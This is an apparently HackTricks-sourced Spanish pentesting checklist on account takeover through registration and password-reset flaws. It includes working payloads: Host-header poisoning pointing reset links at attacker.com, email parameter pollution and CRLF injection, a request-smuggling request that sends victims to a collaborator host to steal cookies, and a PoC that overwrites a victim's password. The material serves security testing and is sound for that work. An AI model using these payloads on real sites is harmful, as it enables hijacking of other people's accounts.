Vulnerabilidades de Registro y Toma de Control

Reading time: 8 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Registro Takeover

Registro duplicado

  • Intenta registrarte usando un nombre de usuario existente
  • Comprueba variaciones del correo:
  • uppsercase
  • +1@
  • add some dot in the email
  • caracteres especiales en el nombre del correo (%00, %09, %20)
  • Pon caracteres en blanco después del email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumeración de nombres de usuario

Comprueba si puedes determinar cuándo un nombre de usuario ya ha sido registrado dentro de la aplicación.

Política de contraseñas

Al crear un usuario, revisa la política de contraseñas (comprueba si puedes usar contraseñas débiles).
En ese caso puedes intentar bruteforce de credenciales.

SQL Injection

Check this page para aprender cómo intentar toma de control de cuentas o extraer información vía SQL Injections en formularios de registro.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Cambiar el email

Una vez registrado, intenta cambiar el email y comprueba si este cambio se valida correctamente o si puedes cambiarlo a emails arbitrarios.

Más comprobaciones

  • Comprueba si puedes usar correos desechables
  • Contraseña larga (>200) lleva a DoS
  • Comprueba los rate limits en la creación de cuentas
  • Usa username@burp_collab.net y analiza el callback

Password Reset Takeover

Password Reset Token Leak Via Referrer

  1. Solicita el restablecimiento de contraseña a tu dirección de email
  2. Haz clic en el enlace de restablecimiento de contraseña
  3. No cambies la contraseña
  4. Haz clic en cualquier sitio de terceros (ej.: Facebook, twitter)
  5. Intercepta la petición en el proxy de Burp Suite
  6. Comprueba si el header Referer está filtrando el token de restablecimiento de contraseña.

Password Reset Poisoning

  1. Intercepta la petición de restablecimiento en Burp Suite
  2. Añade o edita los siguientes headers en Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Reenvía la petición con el header modificado
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Busca una URL de restablecimiento basada en el host header como : https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR en parámetros de API

  1. El atacante debe iniciar sesión con su cuenta y acceder a la función Change password.
  2. Inicia Burp Suite y intercepta la solicitud\
  3. Envíala a la pestaña Repeater y edita los parámetros: User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token débil de restablecimiento de contraseña

El token de restablecimiento de contraseña debe generarse de forma aleatoria y ser único en cada ocasión.
Intenta determinar si el token expira o si siempre es el mismo; en algunos casos el algoritmo de generación es débil y puede adivinarse. Las siguientes variables podrían usarse en el algoritmo.

  • Marca de tiempo
  • UserID
  • Email del usuario
  • Nombre y apellidos
  • Fecha de nacimiento
  • Criptografía
  • Solo números
  • Secuencia pequeña de token ( caracteres entre [A-Z,a-z,0-9])
  • Reutilización del token
  • Fecha de expiración del token

Leaking Password Reset Token

  1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
  2. Inspect the server response and check for resetToken
  3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Restablecimiento de contraseña vía colisión de nombres de usuario

  1. Regístrate en el sistema con un nombre de usuario idéntico al de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. e.g: "admin "
  2. Solicita un restablecimiento de contraseña con tu nombre de usuario malicioso.
  3. Usa el token enviado a tu email y restablece la contraseña de la víctima.
  4. Conéctate a la cuenta de la víctima con la nueva contraseña.

La plataforma CTFd fue vulnerable a este ataque.
See: CVE-2020-7245

Secuestro de cuenta vía Cross Site Scripting

  1. Encuentra un XSS dentro de la aplicación o en un subdominio si las cookies están scoped al dominio padre : *.domain.com
  2. Leak the current sessions cookie
  3. Autentícate como el usuario usando la cookie

Secuestro de cuenta mediante HTTP Request Smuggling

1. Usa smuggler para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crea una petición que sobrescriba el POST / HTTP/1.1 con los siguientes datos:
GET http://something.burpcollaborator.net HTTP/1.1 X: con el objetivo de open redirect a las víctimas hacia burpcollab y robar sus cookies
3. La petición final podría verse como la siguiente

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Secuestro de cuenta vía CSRF

  1. Crea un payload para el CSRF, p. ej.: “Formulario HTML con autoenvío para un cambio de contraseña”
  2. Envía el payload

Secuestro de cuenta vía JWT

JSON Web Token podría usarse para autenticar a un usuario.

  • Edita el JWT con otro User ID / Email
  • Comprueba si la firma JWT es débil

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.

  • Descubrimiento: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
  • Pistas del método: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
  • Cuerpo mínimo observado en entornos reales:
json
{"email":"victim@example.com","password":"New@12345"}

Ejemplo de PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impacto: Full Account Takeover (ATO) sin ningún reset token, OTP o verificación de correo electrónico.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks